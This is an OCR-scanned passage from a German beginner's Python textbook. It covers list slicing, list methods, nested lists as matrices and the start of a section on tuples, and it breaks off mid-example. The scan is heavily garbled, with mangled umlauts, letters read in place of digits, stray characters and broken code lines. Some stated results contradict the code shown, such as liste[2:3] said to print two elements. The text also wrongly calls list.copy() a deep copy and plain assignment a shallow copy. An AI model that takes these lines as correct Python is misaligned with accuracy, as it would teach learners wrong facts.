1 antworten = [True,42,"J","N",3.0][2:4]

2 print (antworten)
# Die Ausgabe lautet ["J","N"]

Dieses Ausschneiden funktioniert selbstverstandlich auch fir Variablen:
3 liste = [True,42,"J","N",3.0]

4 print (liste[2:3])
# Die Ausgabe lautet ["J","N"]

Wenn du nur an den ersten vier Elementen in der Liste interessiert bist,
dann ist der Startindex 0 und der Endindex wieder die 4:

[True, 42,"J","N",3.0][0:4]

Ein Startindex mit dem Wert 0 muss Python Ubrigens nicht explizit mit
angegeben und kann demnach weggelassen werden:

[True, 42,"J","N",3.0][4]

Es ist aber nicht falsch, wenn du den Startindex O doch hinschreibst. Das

Gleiche gilt auch fir den Endindex. Wenn der Endindex am Ende der
Liste liegt, kann er weggelassen werden. Wenn du also die gesamte

Liste [True,42,"J","N",3.0] mit den eckigen Klammern
auslesen mochtest, dann kannst du das auf zwei verschiedene Arten
erreichen:

5 variantel = [True,42,"J","N",3.0][0:5]
6 variante2 = [True,42,"J","N",3.0][:]
7 print (variantel == variante2) # Ausgabe: True

Wie dir sicherlich aufgefallen ist, wird in Zeile 5 als Endindex die 5
angegeben, obwohl sie lUber dem hochsten Index (4) liegt. Wir muissen



diesen Index aber so wahlen, damit auch das letzte Zeichen mitgenommen
wird. Python liefert in Fallen, bei denen mit dem Doppelpunkt in den
eckigen Klammern gearbeitet wird, keine Fehlermeldung beim
Uberschreiten der Indexgrenzen.

Hinter dem Startindex und dem Endindex kann mit einem Doppelpunkt
getrennt ein weiterer Wert eingetragen werden. Dieser gibt die
Schrittweite an, mit der die einzelnen Elemente der Liste durchlaufen

werden sollen.
Beispiel 8.1.11: Gegeben sei eine Liste, die die Zahlen von 0 bis
einschlielllich 10 enthalt:

Abbildung 8.1.5: Liste mit den Zahlen von 0 bis einschlieRlich 10

Diese L.i ste wird in einer Variable mit dem Namen zahlen gespeichert:
1 zahlen = [0,1,2,3,4,5,6,7,8,9,10]

Wenn du alle geraden Zahlen aus der Liste in Abbildung 8.1.5 in einer
separaten Liste speichern moéchtest, dann kannst du mit dem Startindex
0 und dem Endindex 11 erstmal die gesamte Liste kopieren und eine
Schrittweite von 2 verwenden, weil auf jede gerade eine ungerade Zahl
folgt. Die Schrittweite gibst du hinter einem weiteren Doppelpunkt an:

2 print(zahlen[0:11:2])
# Die Ausgabe lautet [0,2,4,6,8,10]

Wie in Beispiel 8.1.10 kannst du den Start- und Endindex weglassen, da die
gesamte Liste betrachtet wird:

3 print(zahlen[::2])
# Die Ausgabe lautet [0,2,4,6,8,10]



Um ein Element innerhalb einer Liste durch ein anderes zu ersetzen,
kommt der Zuweisungsoperator = zum Einsatz. Davor schreibst du den
Namen der Liste und adressierst mit den eckigen Klammern das

Element, das du Uberschreiben mochtest. Hinter dem Zuweisungsoperator
gibst du das neue Element an, das jetzt an der Stelle des alten Elements
stehen soll. Im Prinzip handelt es sich um eine einfache
Variablenzuweisung, wie du sie bereits aus Kapitel 4 kennst.

Beispiel 8.1.12: Gegeben sei die folgende Liste:

1 teilnehmer = ["Anna", "Bea", "Charlotte", "Sarah", "Ella"]

Die Teilnehmerin Sarah hat den Kurs abgesagt und Dora ist von der
Warteliste nachgeriickt. Jetzt soll die Teilnehmerliste teilnehmer
aktualisiert werden, indem der Name Sarah durch Dora ersetzt wird.
Dazu notieren wir zuerst den Namen der Liste und adressieren in
eckigen Klammern den Namen von Sarah:

2 teilnehmer[3]

Mit dem Zuweisungsoperator kannst du nun Dora an die Stelle von
Sarah eintragen:

2 teilnehmer[3] = "Dora"

Wenn du dir die aktualisierte Liste jetzt ausgeben lasst, dann siehst du,
dass die Anderung erfolgreich war:

3 print (teilnehmer)
# Das Ergebnis ist ["Anna", "Bea", "Charlotte", "Dora",
"Ella”]

Wenn du zwei oder mehrere Listen zusammenfihren moéchtest, dann
kannst du dafir den aus Kapitel 5.1 bereits bekannten Operator +
verwenden. Damit ,addierst du die Listen so, wie du Strings
konkatenierst, d. h., die Liste hinter dem + wird einfach an die Liste



vor dem + angeflgt.

Beispiel 8.1.13: Gegeben seien die folgenden Listen:

1 gerade = [0,2,4,6,8,10]
2 ungerade = [1,3,5,7,9]

Diese beiden Listen sollen zusammengefiihrt und einer Variable
ergebnis zugewiesen werden. Daflir wird der Operator + verwendet:

3 ergebnis = gerade + ungerade

Wenn du dir die Variable ergebnis ausgeben lasst, dann siehst du, dass
die ungeraden Zahlen ganz hinten an die geraden angehangt wurden:

4 print (ergebnis)
# Die Ausgabe lautet [0,2,4,6,8,10,1,3,5,7,9]

Du kannst Listen auch direkt ,addieren” und musst nicht auf Variablen
zurlickgreifen:

ergebnis = [0,2,4,6,8,10] + [1,3,5,7,9]

Eine ,,Subtraktion” von Listen mithilfe des Operators — ist nicht definiert.
Wie bei den Strings kann man eine Liste mit einem Integer
multiplizieren. Der Integer gibt dabei an, wie oft dieselbe Liste
hintereinandergeschrieben werden soll.

Beispiel 8.1.14: Gegeben sei die folgende 1.i ste mit dem Namen bits:
1 bits = [1,0,1]

Um diese Liste dreimal hintereinanderzuschreiben, multiplizieren wir
die Zahl 3 mitder Liste bits:

2 print(bits * 3)
# Die Ausgabe lautet [1,0,1,1,0,1,1,0,1]



Die Multiplikation eines Integers und einer Liste ist kommutativ,
d. h.,, es ist egal, ob du den Integer vorne oder hinten dran
multiplizierst:

3 print (3 * bits)
# Die Ausgabe lautet erneut [1,0,1,1,0,1,1,0,1]

Auch hier kannst du wieder die L.i ste direkt verwenden und musst nicht
auf die Variable zurickgreifen:

4 print(3 * [1,0,11])
# Die Ausgabe lautet auch hier [1,0,1,1,0,1,1,0,1]

Die Multiplikation zweier Listen ist allerdings nicht moglich. Wenn du es
dennoch versuchst, erhdltst du die folgende Fehlermeldung:

TypeError: can't multiply sequence by non-int of type 'list'

Ab jetzt beschaftigen wir uns vor allem mit Methoden, die auf Listen
ausgerufen werden konnen. Eine davon kann uns dabei helfen, das
Ergebnis aus Beispiel 8.1.13 zu sortieren. Diese Methode heilst
passenderweise sort.

Beispiel 8.1.15: Gegeben sei die folgende Liste:

1 zahlen = [0,2,4,6,8,10,1,3,5,7,9]

Diese Liste soll aufsteigend sortiert werden, d. h., wir beginnen bei der 0
und enden bei der 1 0. Dazu rufen wir auf zahlen die Methode sort auf,
die keinen Parameter bendtigt:

2 zahlen.sort ()

Die Methode sort gibt kein Ergebnis zurlick. Wenn wir eine Zuweisung
mit dem = machen, dann wird in der Variable None gespeichert.

3 sortiert = zahlen.sort ()



4 print (sortiert)
# Ausgabe: None

Doch wie greifst du dann das Ergebnis der Sortierung mit sort ab? Gar
nicht! Die Methode sortiert die Elemente direkt und du kannst die Liste
danach ganz normal in sortierter Form weiterverwenden:

5 print (zahlen)
# Die Ausgabe lautet [0,1,2,3,4,5,6,7,8,9,10]

Anhand des folgenden Programms kannst du dich noch einmal davon
Uberzeugen, dass die Methode sort wirklich das macht, was sie soll, ohne

dass eine Zuweisung des Ergebnisses erforderlich ist:

zahlen = [0,2,4,6,8,10,1,3,5,7,9]
print (zahlen) # Ergebnis: [0,2,4,6,8,10,1,3,5,7,9]
zahlen.sort ()

print (zahlen) # Ergebnis: [0,1,2,3,4,5,6,7,8,9,10]

A W N B

Du kannst Zahlen mit der Methode sort nicht nur aufsteigend, sondern
auch absteigend sortieren.

Beispiel 8.1.16: Gegeben sei die folgende Liste:

1 zahlen = [0,2,4,6,8,10,1,3,5,7,9]

Diese Liste soll absteigend sortiert werden, d. h., wir fangen bei der 10
an und horen mit der 0 auf. Dazu rufen wir auf zahlen die Methode
sort auf, die den Parameter reverse=True erhalt:

2 zahlen.sort (reverse=True)

Hierbei handelt es sich um ein **kwarg (Kapitel 6.3), wobei reverse
der Schliissel und True der Wert ist. StandardmaRig besitzt reverse den
Wert False, weshalb beim Aufruf von sort ghne Parameter stets in
aufsteigender Reihenfolge sortiert wird. Die Ausgabe der L.iste nach dem
Aufruf von sort bestatigt, dass alles funktioniert hat:



3 print(zahlen)
# Das Ergebnis ist [10,9,8,7,6,5,4,3,2,1,0]

Wie du bereits gesehen hast, sind doppelte Elemente in einer Liste nicht
problematisch. Wenn du wissen mdchtest, wie oft ein bestimmtes Element
in einer Liste auftaucht, kannst du die Methode count verwenden.
Diese erhilt als Parameter einen Wert, fir den ermittelt werden soll, wie
oft er in der Liste auftaucht.

Beispiel 8.1.17: Gegeben sei die folgende Liste:
1l teilnehmer = ["Max","Pia","Lea","Alf","Pia", "Bea","Pia"]

Die Teilnehmerin Pia hat sich bei der Anmeldung fiir den Python-Kurs aus

Versehen zu oft eingetragen. Um herauszufinden, wie oft ihr Name in der
Liste auftaucht, kann die Methode count verwendet werden, die als

Parameter den Namen Pia als String ubergeben bekommt. Das
Ergebnis ist ein Integer, den wir einer Variable wie oft zuweisen
kdnnen:

2 wie oft = teilnehmer.count ("Pia")

Da Pia dreimal in der Liste auftaucht, wird in der Variable wie oft
auch der Wert 3 gespeichert:

3 print(wie oft)
# Es wird der Wert 3 ausgegeben

Beachte, dass es hier auf die Gro3- und Kleinschreibung ankommt, d. h.,
wenn du pia suchst, dann liefert count als Ergebnis 0 zuriick:

4 wie oft = teilnehmer.count ("pia")
# In der Variable "wie oft" wird der Wert O gespeichert, da
"pia" nicht in der Liste vorkommt

Und was macht man mit Elementen in einer Liste, die doppelt und
dreifach vorkommen, obwohl diese Duplikate eigentlich gar nicht bendtigt



werden? Richtig, man loscht sie. Um bestimmte Werte gezielt aus einer
Liste zu loschen, kann in Python die Methode remove verwendet

werden. Diese erhalt als Parameter ein Element, das aus der Liste
entfernt werden soll.

Beispiel 8.1.18: Gegeben sei die folgende Liste mit Teilnehmern an
einem Python-Kurs:

1 teilnehmer = ["Max","Pia","Lea","Alf","Pia","Bea","Pia"]

Pia kommt dort dreimal vor und soll aus der Teilnehmerliste entfernt
werden. Dazu wird auf der Variable teilnehmer die Methode remove
aufgerufen und als Parameter der Wert Pia als St ring Gbergeben:

2 teilnehmer.remove ("Pia")

Die Methode remove liefert kein Ergebnis zuriick, d. h., die Anderungen
werden direkt in der Liste durchgefiihrt. Das kdnnen wir nachprifen,
indem wir sie uns nach dem Aufruf von remove ausgeben lassen:

3 print (teilnehmer)
# Die Ausgabe lautet ["Max","Lea","Alf","Pia","Bea","Pia"].
Das erste Element mit dem Wert "Pia" wurde entfernt.

Wie du sehen kannst, befindet sich Pia immer noch doppelt in der
Liste. Das liegt daran, dass die Methode remove nicht direkt alle Pias
aus der Liste entfernt. Es wird nach dem ersten Element in der Liste

gesucht, das dem libergebenen Parameter entspricht und dieses wird dann
geldscht. Wenn wir Pia noch einmal I6schen wollen, dann rufen wir die

Methode remove einfach erneut auf:

4 teilnehmer.remove ("Pia")

Lassen wir uns das Ergebnis anzeigen, dann sehen wir, dass Pia jetzt nur
noch einmal in der Liste vorkommt:



5 print (teilnehmer)
# Die Ausgabe lautet ["Max","Lea","Alf","Bea","Pia"]. Ein
weiteres Element mit dem Wert "Pia" wurde entfernt.

Und was ist, wenn du einmal zu oft geloscht hast? Dann mochtest du das
geldschte Element doch bestimmt wieder in die Liste einfligen, oder?

Dafiir gibt es die Methode append, mit der ein Element ganz hinten an
eine Liste angehangt werden kann.

Beispiel 8.1.19:

1 teilnehmer = ["Max","Lea","Alf","Bea"]

Pia mochte ebenfalls an dem Python-Kurs teilnehmen und tragt ihren
Namen in die Liste ein. Dazu verwendet sie die Methode append und

Ubergibt ihr als Parameter ihren Namen Pia als String:

2 teilnehmer.append ("Pia")

Die Methode append liefert kein Ergebnis zurlick, d. h., der Gbergebene
Parameter Pia wird wortlos am Ende der Liste eingeflugt:

3 print (teilnehmer)
# Die Ausgabe lautet ["Max","Lea","Alf","Bea","Pia"]. Ein
Element mit dem Wert "Pia" wurde am Ende der Liste
hinzugefigt.

Alternativ zur Methode append kann man ein Element auch dadurch
hinzufligen, dass man es durch eckige Klammern in eine Liste packt und
diese dann mit dem + Operator zu einer anderen Liste ,hinzuaddiert”.

Beispiel 8.1.20:

1 teilnehmer = ["Max","Lea","Alf","Bea"]

Die Teilnehmerin Pia soll ghne die Verwendung der Methode append der
bestehenden Teilnehmerliste hinzugefiigt werden. Dazu wird der String




Pia zuerst mit eckigen Klammern in eine Liste gepackt und diese dann
der Li ste mit dem Namen teilnehmer hinzugefigt:

2 teilnehmer + ["Pia"]

Da bei dieser Vorgehensweise keine Methode auf einer Liste aufgerufen

wird, muss das Ergebnis dieser , Addition” in einer Variable gespeichert
werden. Hierflir kann die urspriingliche Liste herhalten, da diese ja

schlieRlich auch erweitert werden soll:

2 teilnehmer = teilnehmer + ["Pia"]

Wenn du dich an Beispiel 5.1.5 zurlickerinnerst, dann weiRt du, dass man
solche , Additionen” auch vereinfacht mit dem += Operator notieren kann:

2 teilnehmer += ["Pia"]

Wie du es letztendlich aufschreibst, bleibt nattrlich dir Gberlassen. Ob alles
funktioniert hat, kdnnen wir nachpriifen, indem wir uns jetzt die Liste

ausgeben lassen:

3 print (teilnehmer)
# Die Ausgabe lautet ["Max","Lea","Alf","Bea","Pia"]. Das
Element mit dem Wert "Pia" wurde am Ende der Liste
hinzugefigt.

Die Reihenfolge spielt bei 1.i sten eine wichtige Rolle. Wenn du ein neues
Element an einer bestimmten Position innerhalb einer Liste einfligen
mochtest, dann kannst du dafliir die Methode insert nutzen. Diese
erhalt zwei Parameter, namlich den Index, an dem das Element eingefligt
werden soll und naturlich das Element selbst.

Beispiel 8.1.21: Gegeben sei die folgende Buchstabenliste:
1 buchstaben = ['A','B','D','E']

Offenbar wurde das C vergessen. Mit der Methode insert kann dieser



Buchstabe direkt an der passenden Stelle eingefligt werden. Das C gehort
an die Stelle, an der sich aktuell das D befindet und alles ab dem D miisste
um eine Stelle nach rechts verschoben werden:

C

Abbildung 8.1.6: Liste mit den Buchstaben von A bis einschlieRlich E ohne C

Da sich das D an Position 2 in der Liste befindet, libergeben wir der
Methode insert zuerst die 2 und anschliefend den Buchstaben, den wir
einfigen wollen, also das C:

2 buchstaben.insert (2, 'C"')

Die Methode insert liefert kein Ergebnis zurtlick, d. h., das C wird lautlos
an dem gewinschten Index in die Liste eingeflugt. Das konnen wir
nachprifen, indem wir sie uns nach dem Aufruf von insert ausgeben
lassen:

3 print (buchstaben)
# Die Ausgabe lautet ['A','B','C','D','E']. Der Buchstabe 'C'
wurde an der passenden Stelle in die Liste eingefigt.

Beispiel 8.1.22: Gegeben sei die folgende Liste:
1 zahlen = [0,1,2,3,5,6,7,8,9,10]

Offenbar wurde die 4 vergessen. Diese kann mit der Methode insert
direkt an der passenden Stelle eingefligt werden. Die 4 gehoért an die
Stelle, an der sich aktuell die 5 befindet und alles ab der 5 miisste um eine



Stelle nach rechts verschoben werden:

0 1 2 3 5 6 7 8 9 | 10
0 1 2 3 4* 5 6 7 8 9 10
\

Abbildung 8.1.7: Liste mit den Zahlen von 0 bis einschlieBlich 10 ohne 4

Da sich die 5 an Position 4 in der Liste befindet, libergeben wir der
Methode insert zuerst die 4 und anschlieBend die Zahl, die wir einfligen
wollen, also die 4:

2 zahlen.insert (4,4)

Die Methode insert liefert kein Ergebnis zurlick, d. h., die 4 wird einfach
an dem gewiinschten Index in die Liste eingeflugt. Das konnen wir
nachprifen, indem wir sie uns nach dem Aufruf von insert ausgeben
lassen:

3 print(zahlen)
# Die Ausgabe lautet [0,1,2,3,4,5,6,7,8,9,10]. Die Zahl 4
wurde an der passenden Stelle in die Liste eingefigt.

Um alle Elemente aus einer Liste zu l6schen, kannst du die Methode
clear verwenden.

Beispiel 8.1.23:

1 teilnehmer = ["Anna", "Bea", "Charlotte", "Sarah", "Ella"]

Um alle Elemente zu l6schen, rufst du auf der Liste die Methode
clear auf. Diese erhalt keine Parameter:

2 teilnehmer.clear ()

Die Methode clear liefert keine leere Liste zurlick, die du einer



Variable zuweisen kannst. Stattdessen werden die Anderungen direkt auf
der Liste durchgefihrt, d. h., wenn du sie nach dem Aufruf von clear

ausgibst, siehst du, dass wirklich alle Elemente gel6scht wurden:

3 print (teilnehmer)
# Die leere Liste [] wird ausgegeben

Es kann auch vorkommen, dass du eine Liste kopieren mdéchtest. Wenn
du es sauber machen willst, dann kannst du dafir die Methode copy
verwenden, die auf der zu kopierenden Liste aufgerufen wird und keine
Parameter erhalt. Das Ergebnis ist eine vollstandige Kopie der Liste, die
dann einer Variable zugewiesen werden kann.

Beispiel 8.1.24:

1 liste = [0,1,2,3,4,5]

Diese Liste kannst du kopieren, indem du die Methode copy aufrufst
und das Ergebnis einer Variable kopie zuweist:

2 kopie = liste.copy /()

Wenn du dir die Kopie ausgibst, dann siehst du, dass alles funktioniert hat:

3 print (kopie)
# Die Ausgabe lautet [0,1,2,3,4,5]

Wieso habe ich vorhin von einer sauberen Kopie gesprochen? Nun, es gibt
noch eine weitere Moglichkeit, mit der Listen kopiert werden kénnen,

namlich durch eine Zuweisung mithilfe des = Operators. Dadurch ergibt

sich aber ein Problem: Wenn du Anderungen an der Kopie vornimmst,
dann werden sie auch fir die urspriingliche Li ste durchgefihrt.

Beispiel 8.1.25:

1 alt = [0,1,2,3,4,5]



Wir kopieren diese Liste nun mithilfe des = Operators in eine neue:

2 neu = alt

Jetzt I6schen wir mit der Funktion clear alle Elemente aus der Kopie mit
dem Namen neu:

3 neu.clear ()

Wir haben jetzt eigentlich nur den Inhalt der kopierten Liste gel6scht,
oder? Wenn wir allerdings die urspriingliche Liste mit dem Namen alt
ausgeben, dann sollte sich an ihr nichts geandert haben:

4 print (alt)

Wir werden aber mit einem Uberraschenden Ergebnis konfrontiert,
namlich der leeren Liste:

[]

Damit das nicht passiert, muss man in Python mit der Methode copy eine
sogenannte tiefe Kopie anfertigen. Das, was wir mit dem = Operator
produzieren, ist eine flache Kopie. Die kopierte Liste referenziert bzw.
zeigt immer noch auf die alte Liste.

Wenn du herausfinden mochtest, an welcher Position (Index) in einer
Liste ein bestimmtes Element erstmals auftaucht, dann kannst du die

Methode index verwenden. In die runden Klammern der Methode

schreibst du dann das Element, von dem du die Position wissen mochtest.
Als Ergebnis erhdltst du einen Integer, der den Index angibt, an dem

sich das Element in der .1 ste befindet.

Beispiel 8.1.26:

1 eissorten = ["Vanille", "Melone","Schoko", "Erdbeere", "Keks"]

Es soll geprift werden, an welcher Position in der Liste sich die Eissorte



Melone befindet. Dazu wird auf der Liste mit dem Namen
eissorten die Methode index aufgerufen und als Parameter die
Eissorte Melone Ubergeben. Als Ergebnis erhalt man einen Integer, der
die Position der Eissorte Melone in der Liste eissorten angibt. Das
Ergebnis kannst du in einer Variable speichern und anschlieRend ausgeben:

2 position melone = eissorten.index("Melone")

3 print (position melone)
# Die Ausgabe lautet 1.

Wenn nach der Position eines Elements gesucht wird, das sich nicht in der
Liste befindet, dann liefert Python eine Fehlermeldung.

Beispiel 8.1.27:

1l eissorten = ["Vanille", "Melone","Schoko", "Erdbeere", "Keks"]

2 eissorten.index ("Apfel")

Da in der Liste keine Eissorte mit dem Namen Apfel zu finden ist,
erhalt man die folgende Fehlermeldung als Ausgabe:

ValueError: 'Apfel' is not in list

Mochtest du nur wissen, ob sich ein bestimmtes Element in einer Liste
befindet oder nicht, dann kannst du das Keyword in verwenden. Davor
schreibst du das gesuchte Element und dahinter die Liste, in der du
suchen mochtest.

Beispiel 8.1.28: Gegeben sei die folgende Liste mit Eissorten:

1l eissorten = ["Vanille", "Melone","Schoko", "Erdbeere", "Keks"]

Wir wollen herausfinden, ob auch die Sorte Exdbeere angeboten wird.
Daflir verwenden wir das Keyword in. Vor das Keyword schreiben wir die
Sorte Exrdbeere als String und dahinter die Liste mit Eissorten. Das

Ergebnis dieses Ausdrucks ist ein Wahrheitswert, den wir einer Variable
zuweisen konnen und anschlieend ausgeben konnen:



2 wird angeboten = "Erdbeere" in eissorten

3 print(wird angeboten)
# Ausgabe: True

In der Variable wird angeboten ist jetzt der Wert True gespeichert,
weil sich die Sorte Erdbeere in der Liste befindet und somit
angeboten wird. Wenn wir nach der Sorte Heidelbeere suchen, dann
werden wir bitter enttauscht:

4 wird angeboten = "Heidelbeere" in eissorten

5 print (wird angeboten)
# Ausgabe: False

In der Variable wird angeboten ist jetzt der Wert False gespeichert,
weil sich diese Sorte nicht in der Liste befindet und somit auch nicht
angeboten wird.

Wenn du mehrere Strings in einer Liste zu einem String
zusammenfihren mochtest, dann kannst du dafir die Methode join
verwenden. Diese wird jedoch nicht auf der Liste, sondern auf dem
String aufgerufen und zahlt somit eigentlich zu den Methoden aus
Kapitel 4.4. Die Liste fungiert dabei nur als Parameter. In dem String
wird das Zeichen gespeichert, mit dem die Elemente in der Liste im
Ergebnis getrennt werden sollen.

Beispiel 8.1.29: Gegeben sei die folgende 1.i ste mit Eissorten:

1 eissorten = ["Vanille", "Melone","Schoko", "Erdbeere", "Keks"]

Diese sollen alle mit einem Semikolon ; voneinander getrennt und in
einem String gespeichert werden. Da das Semikolon das Trennzeichen
sein soll, wird die Methode join auf einem String aufgerufen, der nur
aus einem Semikolon besteht. Als Parameter wird die Liste mit den
Eissorten Gbergeben:

2 ';'.join(eissorten)



Das Ergebnis kannst du in einer Variable speichern:

3 eis = ';'.join(eissorten)

AnschlieBend lassen wir uns den Wert der Variable ei s ausgeben:

4 print (eis)
# Vanille;Melone;Schoko;Erdbeere;Keks

Achte darauf, dass sich in der Liste, die als Parameter Gbergeben wird,
ausschlieBlich Strings befinden. Ansonsten erhdltst du eine
TypeError Exception:

TypeError: sequence item 0: expected str instance, int found

Wenn du als Trennzeichen den leeren String '' verwendest, dann
kannst du bspw. in einer Liste gespeicherte Buchstaben zu einem Wort
zusammenfigen.

Beispiel 8.1.30: Gegeben sei die folgende 1.i ste mit Buchstaben:
1 buchstaben = ['P','y','t','h','o','n']

Diese sollen zu dem String Python zusammengesetzt werden. Dazu
wird auf dem leeren String '' die Methode join aufgerufen und als
Parameter die Buchstabenliste Gbergeben:

2 wort = ''.join (buchstaben)
In der Variable wort ist jetzt der String Python gespeichert:

3 print (wort)
# Ausgabe: "Python"

In einer Liste kannst du so ziemlich alles speichern, was es in Python
gibt: Integer, Floats, Strings und eben auch Listen. Wenn man
Listen in Listen speichert, spricht man von sogenannten



mehrdimensionalen Listen. Auch wenn sich das kompliziert anhort,

steckt dahinter im Prinzip nichts Neues. Statt Zahlen, Texten und
Wahrheitswerten speichern wir jetzt eben mehrere Listen in einer

Liste.

Ein haufiger Anwendungsfall flir mehrdimensionale Listen sind die aus
der Mathematik bekannten Matrizen."” Hierbei handelt es sich um eine
rechteckige Struktur, in die man z. B. Zahlen eintragen kann. Eine Matrix
besteht aus m Zeilen und n Spalten und sieht bspw. wie folgt aus:

1 2 3
M=14 5 6
7 8 9

M ist der Name der Matrix und hinter dem = steht die Matrix.

LI Die 1 befindet sich in der 1. Zeile und der 1. Spalte.
L] Die 2 befindet sich in der 1. Zeile und der 2. Spalte.
[] Die 3 befindet sich in der 1. Zeile und der 3. Spalte.
LI Die 4 befindet sich in der 2. Zeile und der 1. Spalte.
] Die 5 befindet sich in der 2. Zeile und der 2. Spalte.
[] Die 6 befindet sich in der 2. Zeile und der 3. Spalte.
LI Die 7 befindet sich in der 3. Zeile und der 1. Spalte.
[] Die 8 befindet sich in der 3. Zeile und der 2. Spalte.
LI Die 9 befindet sich in der 3. Zeile und der 3. Spalte.

Warum haben wir uns jetzt so genau angeschaut, an welchen Stellen sich
welche Zahlen in einer Matrix befinden? Nun, weil das spater beim
Adressieren einzelner Elemente in einer mehrdimensionalen Liste

relevant wird. Mal angenommen, wir wollen die Matrix M von gerade eben
in Python darstellen. Dann definieren wir eine Liste, in die wir fur jede

Zeile eine weitere Liste eintragen. Die folgende Abbildung visualisiert
den Grundgedanken einer mehrdimensionalen Liste:



Abbildung 8.1.8: Mehrdimensionale Li ste ohne Indizes

Um aus einer mehrdimensionalen Liste einzelne Elemente auslesen und
eintragen zu konnen, werden jetzt auf einmal zwei Indizes benoétigt,
namlich einer fir die Zeile und einer fir die Spalte. Wo sich welcher Index
befindet, zeigt die folgende Abbildung:
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Abbildung 8.1.9: Mehrdimensionale Liste mit Indizes

Beispiel 8.1.31: Gegeben sei die folgende mehrdimensionale Liste:

1 matrix = [[1,2,3],[4,5,6],[7,8,9]]



Um einen besseren Uberblick zu bekommen, kénnen wir diese mehr-
dimensionale Liste anders anordnen.

1 matrix = [
2 [1,2,31,
3 [4,5,6],
4 [7,8,9]

3 ]

Python akzeptiert diese Darstellung. Wir wollen nun exemplarisch die Zahl
1 auslesen. Innerhalb der Matrix befindet sich dieses Element in der 1.
Zeile und der 1. Spalte. Da wir in Python aber immer bei 0 zu zahlen
beginnen, befindet sich die 1 in der 0. Zeile und der 0. Spalte. Diese beiden
Indizes geben wir jetzt jeweils in einer eckigen Klammer direkt hinter dem
Namen der mehrdimensionalen Liste an. Zuerst kommt die Zeile und
danach die Spalte. Das Ergebnis konnen wir in einer Variable speichern und
anschlieflend ausgeben:

6 eins = matrix[0][0]

7 print (eins)
# Ausgabe: 1

Einfach, oder? Im Folgenden lesen wir auch noch alle anderen Elemente
aus der Matrix aus, damit du ein Geflhl dafiir bekommst, wie man
innerhalb einer mehrdimensionalen L.i ste adressieren muss:

8 zwel = matrix[0][1]
9 drei = matrix[0][2]
10 vier = matrix[1][0]
11 fuinf = matrix[1][1]

Il
Il
12 sechs = matrix[1][2]
21[0]
14 scht = matrix[2][1]

13 sieben = matrix]|

15 neun = matrix[2][2]



Wenn du in eine mehrdimensionale Liste einzelne Elemente eintragen
mochtest, dann gibst du wie bei den eindimensionalen Listen® zuerst

an, an welcher Stelle du den Eintrag vornehmen mdchtest und dann hinter
einem = was du eintragen mdchtest.



Beispiel 8.1.32: Gegeben sei die folgende mehrdimensionale Liste:

1 matrix = [
2 [2,2,2],
8 [2,2,2],
4 [2,2,2]

3 ]

Wir wollen genau in der Mitte der Matrix eine 0 eintragen. Die Mitte
befindet sich aus der Sicht von Python in der 1. Zeile und der 1. Spalte.*
Dieses Element adressieren wir nun und weisen ihm mit einem = den

neuen Wert O zu:

6 matrix[1][1] = O

Das Ergebnis kdnnen wir uns nun mit der print-Funktion ausgeben
lassen:

7 print (matrix)

Die Ausgabe sieht dann wie folgt aus:

Beachte, dass dir Python keine so hiibsche Darstellung spendiert, wie ich
es im Code getan habe. Darum musst du dich schon selbst kimmern. Wie
das geht, erfahrst du in Kapitel 9.3.

Du fragst dich jetzt bestimmt, ob das liberhaupt eine Relevanz in der Praxis
hat. Ja, die hat es! Die gesamte Bildverarbeitung basiert im Prinzip auf
solchen Matrizen bzw. mehrdimensionalen Listen. Bilder sind namlich
auch nichts anderes als rechteckige Strukturen, in denen Pixelwerte
gespeichert werden, die man wiederum mit Zahlen darstellen kann. Wenn
du mehr dariiber erfahren méchtest, dann schaue dir das folgende Video
an:



https://florian-dalwigk.com/python-einsteiger/bilder_in_der_informatik

8.2 Tupel

Bisher haben wir in Variablen einen Inhalt und in Listen viele Inhalte

speichern kénnen, die veranderlich waren. Ein einmal festgelegter Wert
konnte leicht abgeandert werden.

Beispiel 8.2.1: Gegeben sei die Variable name mit dem Wert F1o:

1 name = "Flo"

Um den Wert der Variable zu andern, weisen wir ihr einfach einen-
neuen zu:

2 name = "Pam"

Beispiel 8.2.2: Gegeben sei die folgende Teilnehmerliste:

1 teilnehmer = ["Flo", "Pam", "Pia", "Lea"]

Um einen Teilnehmer der Liste hinzuzufiigen, verwenden wir bspw. die
Methode append.

2 teilnehmer.append ("Tim")


https://florian-dalwigk.com/python-einsteiger/bilder_in_der_informatik

Bei Tupeln ist das anders: Sie sind unveranderlich und besitzen eine feste
GroRe. Damit ist gemeint, dass es keine Methoden wie append oder
remove gibt, mit denen Elemente hinzugefligt oder entfernt werden
kdnnen. Diese Datenstruktur wird also vor allem dann verwendet, wenn
man direkt zu Beginn genau weil, was man mochte, wie es bspw. bei
Konstanten der Fall ist. Verwendet man Tupel, bekommt man aufgrund
ihrer unveranderlichen Natur einen integrierten Schreibschutz mitgeliefert.
Es kdnnen im Programmablauf also keine Anderungen vorgenommen
werden, womit man die Gefahr von ungewolltem Verhalten minimiert.
Durch dieses starre Korsett kann man sich auch darauf verlassen, dass alle
Elemente einen festen Platz im Tupel besitzen und somit eine gewisse
Ordnung herrscht. Solche Tupel gibt es auch in der Mathematik. Hierbei
handelt es sich um eine endliche Liste von Objekten, die nicht alle
verschieden sein missen. Die Eintrage innerhalb eines mathematischen
Tupels sind ebenfalls geordnet:

0(1,2)

Zuerst kommt eine 1 und dann eine 2. Dieses mathematische Tupel besteht aus zwei Eintragen und

wird deshalb auch geordnetes Paar genannt. Mit geordneten Paaren werden haufig Punkte in
einem zweidimensionalen Koordinatensystem dargestellt.

1(1,0,1)

Zuerst kommt eine 1, dann eine 0 und zum Schluss wieder eine 1. Dieses mathematische Tupel
besteht aus drei Eintrdgen und wird deshalb auch Tripel genannt. Mit Tripel werden haufig Punkte
in einem dreidimensionalen Koordinatensystem bzw. Vektoren dargestellt.

Mathematische Tupel mit mehr als drei Eintragen fihren schnell zu
abenteuerlichen Bezeichnungen wie Quadrupel oder Quintupel. Deshalb
hat man sich dazu entschieden, sie allgemein als n — Tupel zu bezeichnen,
wobei n die Anzahl der Eintrage in dem mathematischen Tupel angibt.

Wie wird ein Tupel in Python definiert? Nun, sehr dahnlich zur Notation in
der Mathematik wie die folgende Code-Schablone zeigt:

(<Element 1>, <Element 2>, ..., <Element n>)

Code-Schablone 8.2.1: Definition eines Tupels

Ein Tupel wird durch runde Klammern gekennzeichnet, in die
verschiedene <Elemente> mit Kommata getrennt eingetragen werden



konnen. Mit ihnen kdnnen, genauso wie in der Mathematik, Punkte in
Koordinatensystemen bzw. Vektoren dargestellt werden.

Beispiel 8.2.3: Wir wollen Punkte in einem zweidimensionalen
